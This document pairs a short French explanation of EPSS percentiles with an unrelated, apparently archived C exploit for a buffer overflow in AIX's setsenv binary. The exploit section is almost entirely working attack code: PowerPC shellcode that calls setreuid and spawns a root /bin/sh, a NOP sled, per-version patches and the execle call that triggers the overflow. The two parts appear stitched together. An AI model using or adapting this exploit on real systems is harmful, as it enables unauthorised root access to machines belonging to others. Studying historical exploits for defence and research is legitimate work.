Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* source: https://www.securityfocus.com/bid/2032/info AIX is a version of the UNIX Operating System distributed by IBM. A problem exists that could allow a user elevated priviledges. The problem occurs in the setsenv binary. It has been reported that a buffer overflow exists in this binary which could allow a user to overwrite variables on the stack, including the return address. This makes it possible for a malicious user to execute arbitrary code, and potentially attain a UID of 0. */ /*## copyright LAST STAGE OF DELIRIUM sep 2000 poland *://lsd-pl.net/ #*/ /*## /usr/bin/setsenv #*/ /* note: to avoid potential system hang-up please, first obtain the exact */ /* AIX OS level with the use of the uname -a or oslevel commands */ #define ADRNUM 200 #define NOPNUM 16000 char setreuidcode[]= "\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */ "\x40\x82\xff\xfd" /* bnel <setreuidcode> */ "\x7e\xa8\x02\xa6" /* mflr r21 */ "\x3a\xb5\x01\x40" /* cal r21,0x140(r21) */ "\x88\x55\xfe\xe0" /* lbz r2,-288(r21) */ "\x7e\x83\xa3\x78" /* mr r3,r20 */ "\x3a\xd5\xfe\xe4" /* cal r22,-284(r21) */ "\x7e\xc8\x03\xa6" /* mtlr r22 */ "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca */ "\xff\xff\xff\xff" "\x38\x75\xff\x04" /* cal r3,-252(r21) */ "\x38\x95\xff\x0c" /* cal r4,-244(r21) */ "\x7e\x85\xa3\x78" /* mr r5,r20 */ "\x90\x75\xff\x0c" /* st r3,-244(r21) */ "\x92\x95\xff\x10" /* st r20,-240(r21) */ "\x88\x55\xfe\xe1" /* lbz r2,-287(r21) */ "\x9a\x95\xff\x0b" /* stb r20,-245(r21) */ "\x4b\xff\xff\xd8" /* bl <setreuidcode+32> */ "/bin/sh" ; char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv,char **e){ char buffer[20000],adr[4],*b,*envp[2]; int i; printf("copyright LAST STAGE OF DELIRIUM sep 2000 poland //lsd-pl.net/\n"); printf("/usr/bin/setsenv for aix 4.1 4.2 4.3 4.3.x PowerPC/POWER\n\n"); if(argc<2){ printf("usage: %s 41|42|43|433\n",argv[0]);exit(-1); } switch(atoi(argv[1])){ case 41: memcpy(&setreuidcode[40],"\x68\x03",2); break; case 42: memcpy(&setreuidcode[40],"\x71\x02",2); break; case 43: memcpy(&setreuidcode[40],"\x82\x04",2); break; case 433: memcpy(&setreuidcode[40],"\x92\x03",2); break; default: exit(-1); } i=0; while(*e++) i+=strlen(*e)+1; *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000; envp[0]=&buffer[1000]; envp[1]=0; b=buffer; strcpy(b,"lsd=");b+=4; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=&buffer[1000]; sprintf(b,"xxx= ");b+=7; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; *b=0; execle("/usr/bin/setsenv","lsd",buffer,0,envp); }
